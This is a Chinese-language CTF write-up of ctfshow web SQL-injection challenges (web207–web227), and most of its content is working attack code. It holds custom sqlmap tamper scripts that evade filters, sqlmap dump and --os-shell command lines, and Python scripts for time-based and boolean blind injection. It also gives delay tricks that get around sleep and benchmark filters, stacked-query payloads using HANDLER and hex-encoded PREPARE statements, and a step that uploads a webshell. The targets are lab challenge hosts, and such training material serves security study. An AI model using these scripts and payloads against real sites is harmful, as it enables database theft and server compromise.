charencode.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0url编码;  randomcase.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0中随机大小写  unmagicquotes.py 宽字符绕过 GPC addslashes  randomcomments.py 用/**/分割sql关键字  charunicodeencode.py ASP,ASP.NET中字符串 unicode 编码  securesphere.py 追加特制的字符串  versionedmorekeywords.py MySQL >= 5.1.13注释绕过  halfversionedmorekeywords.py MySQL < 5.1中关键字前加注释 
sqlmap.py -u "http://a83c7e70-64d2-4dab-9232-8c5080415bd1.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://a83c7e70-64d2-4dab-9232-8c5080415bd1.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=mycomment -D ctfshow_web -T ctfshow_flaxca --dump 

根据原本的space2comment仿写了一个,将注释换成了0x09

#!/usr/bin/env python """ Author:孤桜懶契 """  from lib.core.compat import xrange from lib.core.enums import PRIORITY from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS  __priority__ = PRIORITY.LOW  def dependencies():     singleTimeWarnMessage("By孤桜懶契-空格替换制表符0x09")  def tamper(payload, **kwargs):     payload = space2comment(payload)     return payload  def space2comment(payload):     retVal = payload     if payload:         retVal = ""         quote, doublequote, firstspace = False, False, False          for i in xrange(len(payload)):             if not firstspace:                 if payload[i].isspace():                     firstspace = True                     retVal += chr(0x09)                     continue              elif payload[i] == ''':                     quote = not quote              elif payload[i] == '"':                     doublequote = not doublequote              elif payload[i] == " " and not doublequote and not quote:                     retVal += chr(0x09)                     continue              retVal += payload[i]      return retVal  

web208

//对传入的参数进行了过滤 // $id = str_replace('select', '', $id);   function waf($str){    return preg_match('/ /', $str);   }        
  • 只过滤了小写的select,sqlmap自己就会跑大写的
sqlmap.py -u "http://90811f8e-b2c5-4181-ac8a-2752c4d91c40.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://90811f8e-b2c5-4181-ac8a-2752c4d91c40.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=mycomment -D ctfshow_web -T ctfshow_flaxcac --dump 

web209

//对传入的参数进行了过滤   function waf($str){    //TODO 未完工    return preg_match('/ |*|=/', $str);   } 

多过滤了*号和=号,我们在上面的脚本多加一个匹配=号换like

sqlmap.py -u "http://e83f1efc-354e-42c0-8c2e-ca9eafd2f81d.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://e83f1efc-354e-42c0-8c2e-ca9eafd2f81d.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=mycomment  -D ctfshow_web -T ctfshow_flav --dump 
#!/usr/bin/env python """ Author:孤桜懶契 """  from lib.core.compat import xrange from lib.core.enums import PRIORITY from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS  __priority__ = PRIORITY.LOW  def dependencies():     singleTimeWarnMessage("By孤桜懶契-空格替换制表符0x09,=号换like")  def tamper(payload, **kwargs):     payload = space2comment(payload)     return payload  def space2comment(payload):     retVal = payload     if payload:         retVal = ""         quote, doublequote, firstspace = False, False, False          for i in xrange(len(payload)):             if not firstspace:                 if payload[i].isspace():                     firstspace = True                     retVal += chr(0x09)                     continue              elif payload[i] == ''':                     quote = not quote              elif payload[i] == '"':                     doublequote = not doublequote              elif payload[i] == '=':                     retVal += chr(0x09) + 'like' + chr(0x09)                     continue              elif payload[i] == "*":                 retVal += chr(0x31)                 continue              elif payload[i] == " " and not doublequote and not quote:                     retVal += chr(0x09)                     continue              retVal += payload[i]      return retVal  

web210

//对查询字符进行解密   function decode($id){     return strrev(base64_decode(strrev(base64_decode($id))));   } 
  • 先对字符串进行64解码,然后再反转字符,再套一层,我们写个相反就的行了
#!/usr/bin/env python """ Author:孤桜懶契 """  import base64 from lib.core.enums import PRIORITY from lib.core.common import singleTimeWarnMessage   __priority__ = PRIORITY.LOW  def dependencies():     singleTimeWarnMessage("By孤桜懶契-base编码两次-反转两次")  def tamper(payload, **kwargs):     payload = encode(payload)     return payload  def encode(payload):     retVal = payload      if payload:         retVal = retVal.replace(" ",chr(0x09))         retVal = retVal.encode()         retVal = retVal[::-1]         retVal = base64.b64encode(retVal)         retVal = retVal[::-1]         retVal = base64.b64encode(retVal)         retVal = retVal.decode()      return retVal 

payload

sqlmap.py -u "http://6848c055-1297-4397-8dc0-d2477ea293db.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://6848c055-1297-4397-8dc0-d2477ea293db.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=my  

web211

  • 和上题一样,过滤了空格号,不影响,我上个代码中写了替换空格为0x09也就是制表符
sqlmap.py -u "http://6848c055-1297-4397-8dc0-d2477ea293db.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://6848c055-1297-4397-8dc0-d2477ea293db.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=my -D ctfshow_web -T ctfshow_flavia --dump 

web212

  • 和上题一样过滤多加了个*不影响我们

payload

sqlmap.py -u "http://2b123cfd-31cd-465e-b7cb-1e1470122ae4.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://2b123cfd-31cd-465e-b7cb-1e1470122ae4.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=my  -T ctfshow_web -T  ctfshow_flavis --dump 

web213

  • 这题需要getshell,因为过滤的和上题一样,就用我那个过滤脚本
#!/usr/bin/env python """ Author:孤桜懶契 """  import base64 from lib.core.enums import PRIORITY from lib.core.common import singleTimeWarnMessage   __priority__ = PRIORITY.LOW  def dependencies():     singleTimeWarnMessage("By孤桜懶契-base编码两次-反转两次")  def tamper(payload, **kwargs):     payload = encode(payload)     return payload  def encode(payload):     retVal = payload      if payload:         retVal = retVal.replace(" ",chr(0x09))         retVal = retVal.encode()         retVal = retVal[::-1]         retVal = base64.b64encode(retVal)         retVal = retVal[::-1]         retVal = base64.b64encode(retVal)         retVal = retVal.decode()      return retVal 

然后接着我们进行getshell上传一个上传点

http://6309ef18-4721-4f5c-919d-bf47c71c749e.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://6309ef18-4721-4f5c-919d-bf47c71c749e.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=my --os-shell 
【ctfshow】web篇-SQL注入 wp

上传一句话木马,蚁剑连接

【ctfshow】web篇-SQL注入 wp

在根目录下有flag

【ctfshow】web篇-SQL注入 wp

web214

  • 时间盲注,直接脚本跑
# -- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/7/31 # blog: gylq.gitee.io import requests import time  url = "http://5eb465ee-6eeb-4508-9fea-5496e3ad2a8f.challenge.ctf.show:8080/api/" str = "01234567890qwertyuiopasdfghjklzxcvbnm{}-()_,," flag = ""  #payload = "if(substr(database(),{},1)='{}',sleep(3),0)" #payload = "if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(5),0)" #payload = "if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagx'),{},1)='{}',sleep(5),0)" payload = "if(substr((select group_concat(flaga) from ctfshow_flagx),{},1)='{}',sleep(5),0)" n = 0  for i in range(0, 666):     for j in str:         data = {             "ip": payload.format(i,j),             "debug": '0'         }         start = time.time()         res = requests.post(url, data)         end = time.time()         print(end - start)         if end - start > 4.9 and end - start < 6.9:             flag += j             n += 1             print('[*] 开始盲注第{}位'.format(n))             print(flag)             if j == "}":                 print('[*] flag is {}'.format(flag))                 exit()             break  
【ctfshow】web篇-SQL注入 wp

web215

  • 题目提示说加了单引号,我们就闭合掉,改一下上面的代码,继续跑
# -- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/7/31 # blog: gylq.gitee.io import requests import time  url = "http://fed15780-e37b-48e2-8e96-86d984f46b94.challenge.ctf.show:8080/api/" str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,," flag = ""  #查数据库payload = "1' or if(substr(database(),{},1)='{}',sleep(3),0) #" #查表payload = "1' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(3),0) #" #查字段payload = "1' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxc'),{},1)='{}',sleep(3),0) #" payload = "1' or if(substr((select group_concat(flagaa) from ctfshow_flagxc),{},1)='{}',sleep(3),0) #" #payload = "if(substr((select group_concat(flaga) from ctfshow_flagx),{},1)='{}',sleep(5),0)" n = 0  for i in range(0, 666):     for j in str:         data = {             "ip": payload.format(i,j),             "debug": '0'         }         start = time.time()         res = requests.post(url, data)         end = time.time()         if end - start > 2.9 and end - start < 4.9:             flag += j             n += 1             print('[*] 开始盲注第{}位'.format(n))             print(flag)             if j == "}":                 print('[*] flag is {}'.format(flag))                 exit()             break  

web216

where id = from_base64($id); 
  • 加了个base64解密,所以我们用“MQ==”–>1 所以就会算是true,这题没单引号,所以改一下上一题代码。
# -- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/7/31 # blog: gylq.gitee.io import requests import time  url = "http://83e21d02-6e3a-4c01-9016-79367bdcb966.challenge.ctf.show:8080/api/" str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,," flag = "" #'MQ==' or if(1=1,sleep(5),0) #payload = "'MQ==' or if(substr(database(),{},1)='{}',sleep(5),0) " #payload = "'MQ==' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(5),0) " #payload = "'MQ==' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxcc'),{},1)='{}',sleep(5),0) " payload = "'MQ==' or if(substr((select group_concat(flagaac) from ctfshow_flagxcc),{},1)='{}',sleep(5),0) " n = 0  for i in range(0, 666):     for j in str:         data = {             "ip": payload.format(i,j),             "debug": '0'         }         start = time.time()         res = requests.post(url, data)         end = time.time()         if end - start > 4.9 and end - start < 6.9:             flag += j             n += 1             print('[*] 开始盲注第{}位'.format(n))             print(flag)             if j == "}":                 print('[*] flag is {}'.format(flag))                 exit()             break  
【ctfshow】web篇-SQL注入 wp

web217

    //屏蔽危险分子     function waf($str){         return preg_match('/sleep/i',$str);     }           
  • 过滤了sleep,可以换一个函数benchmark(6666666,sha(1))
benchmark(6666666,sha(1)) 第一个参数指的是执行次数、第二参数指的是执行语句 

将上一个payload改一下,跑一下就出来了,因为是执行次数来确定延时时间,所以也跟你家网速波动有关系,适当调试,我控制在一个1.4ms到4.9ms,应该能保证普通网速的,如果你网速超快,适当调整

# -- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/7/31 # blog: gylq.gitee.io import requests import time  url = "http://fe186d5a-2385-43fd-8d4a-d557cc25b038.challenge.ctf.show:8080//api/" str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,," flag = "" #1 or if(substr(database(),{},1)='{}',benchmark(6666666,sha(1)),0)  #payload = "1 or if(substr(database(),{},1)='{}',benchmark(6666666,sha(1)),0)" #payload = "1) and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',benchmark(5000000,sha(1)),0) #" #payload = "1) and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxccb'),{},1)='{}',benchmark(5000000,sha(1)),0) #" payload = "1) and if(substr((select group_concat(flagaabc) from ctfshow_flagxccb),{},1)='{}',benchmark(5000000,sha(1)),0) #"  n = 0  for i in range(0, 666):     for j in str:         data = {             "ip": payload.format(i,j),             "debug": '0'         }         start = time.time()         res = requests.post(url, data)         end = time.time()         # print(end-start)         if end - start > 1.4 and end - start < 4.9:             flag += j             n += 1             print('[*] 开始盲注第{}位'.format(n))             print(flag)             if j == "}":                 print('[*] flag is {}'.format(flag))                 exit()             break  
【ctfshow】web篇-SQL注入 wp

web218

  • 这题过滤了benchmark,不过还有RLIKE REGEXP正则匹配
 select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');  ​  正则语法:  . : 匹配任意单个字符  * : 匹配0个或多个前一个得到的字符  [] : 匹配任意一个[]内的字符,[ab]*可匹配空串、a、b、或者由任意个a和b组成的字符串。  ^ : 匹配开头,如^s匹配以s或者S开头的字符串。  $ : 匹配结尾,如s$匹配以s结尾的字符串。  {n} : 匹配前一个字符反复n次。   RPAD(str,len,padstr)  用字符串 padstr对 str进行右边填补直至它的长度达到 len个字符长度,然后返回 str。如果 str的长度长于 len',那么它将被截除到 len个字符。  mysql> SELECT RPAD('hi',5,'?'); -> 'hi???'  ​  repeat(str,times)  复制字符串times次 

所以我们可以利用这个来进行构造延时函数

concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b' 

以上代码预估等于sleep(5)效果,具体根据网速和性能判断,利用此性质写将上面的代码更改一下,跑flag

# -- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/7/31 # blog: gylq.gitee.io import requests import time bypass="concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'" url = "http://4f04cb91-f6ed-43ce-bc4d-539d9c5b2a7b.challenge.ctf.show:8080/api/" str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,," flag = "" #1) and  if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',( concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'),0)# #求表payload = "1) and  if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',({}),0)#" #payload = "1) and  if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxc'),{},1)='{}',({}),0)#" payload = "1) and  if(substr((select group_concat(flagaac) from ctfshow_flagxc),{},1)='{}',({}),0)#"   n = 0  for i in range(0, 666):     for j in str:         data = {             "ip": payload.format(i,j,bypass),             "debug": '0'         }         start = time.time()         res = requests.post(url, data)         end = time.time()         if end - start > 0.4 and end - start < 1:             flag += j             n += 1             print('[*] 开始盲注第{}位'.format(n))             print(flag)             if j == "}":                 print('[*] flag is {}'.format(flag))                 exit()             break  
【ctfshow】web篇-SQL注入 wp

web219

    //屏蔽危险分子     function waf($str){         return preg_match('/sleep|benchmark|rlike/i',$str);     }    
  • 这题吧RLIKE给禁了,我发现把RLIKE换成LIke一样可以,继续上把代码改一下,不过需要注意跟你家网速有关,网速好,一次flag就对,不好就多对比几下
# -- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/7/31 # blog: gylq.gitee.io import requests import time bypass="concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) LIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'" url = "http://ea12a2f3-655e-44f2-b249-a95701399f73.challenge.ctf.show:8080/api/" str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,," flag = "" #1) and  if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',( concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'),0)# #payload = "1) and  if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',({}),0)#" #payload = "1) and  if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxca'),{},1)='{}',({}),0)#" payload = "1) and  if(substr((select group_concat(flagaabc) from ctfshow_flagxca),{},1)='{}',({}),0)#"   n = 0  for i in range(0, 666):     for j in str:         data = {             "ip": payload.format(i,j,bypass),             "debug": '0'         }         start = time.time()         res = requests.post(url, data)         end = time.time()         print(end - start)         if end - start > 0.22 and end - start < 0.5:             flag += j             n += 1             print('[*] 开始盲注第{}位'.format(n))             print(flag)             if j == "}":                 print('[*] flag is {}'.format(flag))                 exit()             break #ctfshow{92286539-ff05-4292-bcbf-7ff6fa6e31ab} 
【ctfshow】web篇-SQL注入 wp

第二种思路,鉴于我发现我上面的方法,flag需要多跑几次,而且方法重样,所以想多写一个其他的绕过方法,笛卡尔积时间延时法

 笛卡尔积(因为连接表是一个很耗时的操作)      AxB=A和B中每个元素的组合所组成的集合,就是连接表      SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;      select * from table_name A, table_name B      select * from table_name A, table_name B,table_name C      select count(*) from table_name A, table_name B,table_name C  表可以是同一张表  

也就是换个bypass也而已,跑起来,这次成功率提高了很多,基本一次能跑成功

# -- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/8/1 # blog: gylq.gitee.io import requests import time bypass="select count(*) from information_schema.schemata a, information_schema.tables b, information_schema.tables c, information_schema.schemata d, information_schema.schemata e" url = "http://ea12a2f3-655e-44f2-b249-a95701399f73.challenge.ctf.show:8080/api/" str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,," flag = "" #1) and  if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',( concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'),0)# #payload = "1) and  if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',({}),0)#" #payload = "1) and  if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxca'),{},1)='{}',({}),0)#" payload = "1) and  if(substr((select group_concat(flagaabc) from ctfshow_flagxca),{},1)='{}',({}),0)#"   n = 0  for i in range(0, 666):     for j in str:         data = {             "ip": payload.format(i,j,bypass),             "debug": '0'         }         start = time.time()         res = requests.post(url, data)         end = time.time()         print(end - start)         if end - start > 1.5 and end - start < 5:             flag += j             n += 1             print('[*] 开始盲注第{}位'.format(n))             print(flag)             if j == "}":                 print('[*] flag is {}'.format(flag))                 exit()             break #ctfshow{92286539-ff05-4292-bcbf-7ff6fa6e31ab} 
【ctfshow】web篇-SQL注入 wp

web220

  • 和布尔盲注一样,过滤substr,但是还有正则,或者left都可以,我们这里用正则写一个脚本,因为还过滤了concat所以不能用group_concat改用limit
# -- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/8/1 # blog: gylq.gitee.io import requests import time bypass="select count(*) from information_schema.schemata a, information_schema.tables b, information_schema.tables c, information_schema.schemata d, information_schema.schemata e, information_schema.schemata f" url = "http://d82b1a0b-aba4-4fed-aa83-62d59d7df4ee.challenge.ctf.show:8080/api/" str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,," flag = "" #1) and if((database())regexp('^ctfshow'),(select count(*) from information_schema.schemata a, information_schema.tables b, information_schema.tables c, information_schema.schemata d, information_schema.schemata e, information_schema.schemata f),0)# #payload = "1) and if((database())regexp('^{}'),({}),0)#" #payload = "1) and if((select table_name from information_schema.tables where table_schema=database() limit 0,1)regexp('^{}'),({}),0)#" #payload = "1) and if((select column_name from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxcac' limit 1,1)regexp('^{}'),({}),0)#" payload = "1) and if((select flagaabcc from ctfshow_flagxcac limit 0,1)regexp('^{}'),({}),0)#"    n = 0  for i in range(0, 666):     for j in str:         data = {             "ip": payload.format(flag + j,bypass),             "debug": '0'         }         start = time.time()         res = requests.post(url, data)         end = time.time()         if end - start > 3 and end - start < 5:             flag += j             n += 1             print('[*] 开始盲注第{}位'.format(n))             print(flag)             if j == "}":                 print('[*] flag is {}'.format(flag))                 exit()             break  
【ctfshow】web篇-SQL注入 wp

web221

  • 考点是:MySQL利用procedure analyse()函数优化表结构
    limit后面能跟的也只有这个了似乎
# http://196cf3fd-f920-4018-a714-662ad61571e9.chall.ctf.show/api/?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),2)  可以参考 # https://www.jb51.net/article/99980.htm  

web222

  //分页查询   $sql = select * from ctfshow_user group by $username; 
  • 不懂group by建议看一下这一篇关于group报错注入https://www.cnblogs.com/02SWD/p/CTF-sql-group_by.html,可以理解一下,因为group by后面只能跟字段和字符串,所以我们构造字符串,利用concat(sleep(0.10),1)可以成功执行sleep()函数,我们再利用if来条件判断,就可以实现时间盲注,写一个脚本跑一波
# -- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/8/1 # blog: gylq.gitee.io import requests import time  url = "http://9a446c1a-4acd-4873-a290-53b36046a7b9.challenge.ctf.show:8080/api/" str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"   flag = "" #------------------------------------------------------------------------------------------------------------------------------------------------------------- #查表 # sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()" #查字段 # sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flaga'" #查flag sql= "select flagaabc from ctfshow_flaga" #------------------------------------------------------------------------------------------------------------------------------------------------------------- payload = "concat(if(substr(({}),{},1)='{}',sleep(0.10),0),1)"  #concat(if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',sleep(0.10),0),1)   n = 0  for i in range(0, 666):     for j in str:         params = {             'u' : payload.format(sql,i,j)         }          start = time.time()         res = requests.get(url = url, params = params)         end = time.time()         if end - start > 2 and end - start < 3:             flag += j             n += 1             print('[*] 开始盲注第{}位'.format(n))             print(flag)             if j == "}":                 print('[*] flag is {}'.format(flag))                 exit()             break  
【ctfshow】web篇-SQL注入 wp

web223

  • 这题多了个过滤,将数字全部过滤了,我们可以考虑用true来代替数字,所以这题我发现有两种方式一种是时间盲注(但是延时是20秒),另一种是布尔盲注,这把我们就用布尔速度快。看你喜好。

说一下原理,为什么使用布尔盲注,当if返回这true的时候,执行username就会group by username,数据就会多一些,但是当false就会当做字符串,数据就少一些,上两张图看看

【ctfshow】web篇-SQL注入 wp

当if条件为false时,数据回显就少了,根据这个可以布尔盲注

【ctfshow】web篇-SQL注入 wp

上脚本布尔,跑的快些,比时间盲注

# -- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/8/1 # blog: gylq.gitee.io import requests #import time  def generateNum(num):     res = 'true'     if num == 1:         return res     else:         for i in range(num-1):             res += "+true"         return res   url = "http://ce009cf2-8652-4737-ba07-b3bfc3bc3a4a.challenge.ctf.show:8080/api/" str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,," flag = ""  #************************************************************************************************************************************************************* #--------查表 #sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()" #--------查字段 #sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'" #--------查flag sql= "select flagasabc from ctfshow_flagas" #************************************************************************************************************************************************************* payload = "if(ascii(substr(({}),{},true))=({}),username,false)"   #计数 n = 0  for i in range(1, 666):     for j in range(32,126):         result_num=generateNum(i)         result=generateNum(j)         params = {             'u' : payload.format(sql,result_num,result)         }          res = requests.get(url = url, params = params)         if "userAUTO" in res.text:             flag += chr(j)             n += 1             print('[*] 开始盲注第{}位'.format(n))             print(flag)             if j == "}":                 print('[*] flag is {}'.format(flag))                 exit()             break #ctfshow{728dd1b0-7547-401d-b358-2d2207f3d13c} 
【ctfshow】web篇-SQL注入 wp

web224

  • 我以为是输入框注入,没想到是文件注入,有一个君子协议里面可以重置密码robots.txt
【ctfshow】web篇-SQL注入 wp

登陆之后发现是一个上传点,什么都上传不进去,群里有一个payload.bin,上传就自动生成1.php,就直接是rce了,拿flag

【ctfshow】web篇-SQL注入 wp

web225

第一种做法,handle,因为堆叠注入,除了过滤的语句,基本是任意执行

# 打开一个表名为 tbl_name 的表的句柄 HANDLER tbl_name OPEN [ [AS] alias]  # 1、通过指定索引查看表,可以指定从索引那一行开始,通过 NEXT 继续浏览 HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)     [ WHERE where_condition ] [LIMIT ... ]  # 2、通过索引查看表 # FIRST: 获取第一行(索引最小的一行) # NEXT: 获取下一行 # PREV: 获取上一行 # LAST: 获取最后一行(索引最大的一行) HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }     [ WHERE where_condition ] [LIMIT ... ]  # 3、不通过索引查看表 # READ FIRST: 获取句柄的第一行 # READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行) # 最后一行执行之后再执行 READ NEXT 会返回一个空的结果 HANDLER tbl_name READ { FIRST | NEXT }     [ WHERE where_condition ] [LIMIT ... ]  # 关闭已打开的句柄 HANDLER tbl_name CLOSE  

payload

http://76114b3b-7ffd-4016-8b00-b96feb693fd8.challenge.ctf.show:8080/api/?username=ctfshow';handler ctfshow_flagasa open;handler ctfshow_flagasa read first--+ 

第二种做法预处理

SET @tn = 'hahaha';  //存储表名 SET @sql = concat('select * from ', @tn);  //存储SQL语句 PREPARE name from @sql;   //预定义SQL语句 EXECUTE name;  //执行预定义SQL语句 (DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句 

因为concat连接之后直接就是字符串,所以就直接构造payload

http://76114b3b-7ffd-4016-8b00-b96feb693fd8.challenge.ctf.show:8080/api/?username=ctfshow';show tables;prepare gylq from concat('s','elect',' * from ctfshow_flagasa');execute gylq;--+ 

web226

  • 预处理from后面可以跟十六进制,所以可以有更骚的姿势,直接将select * from ctfsh_ow_flagas转换成0x73656C656374202A2066726F6D2063746673685F6F775F666C61676173就可以直接语句执行

payload

http://bbec116e-8f61-487c-8966-9384be4efe14.challenge.ctf.show:8080/api/?username=userAUTO';prepare gylq from 0x73656C656374202A2066726F6D2063746673685F6F775F666C61676173;execute gylq--+ 

web227

  • 搜了个遍,没找到flag,最后发现information_schema.routines这个表是存放函数和存储过程字段的。我们查看一下这个表,关于函数的存储过程,看看网上这篇文章MySQL——查看存储过程和函数

payload,查看routines的所有字段和数据

http://faa7806b-aae1-4405-8c64-1600655bcd26.challenge.ctf.show:8080/api/?username=user1';prepare gylq from 0x73656C656374202A2066726F6D20696E666F726D6174696F6E5F736368656D612E726F7574696E6573;execute gylq; 
【ctfshow】web篇-SQL注入 wp

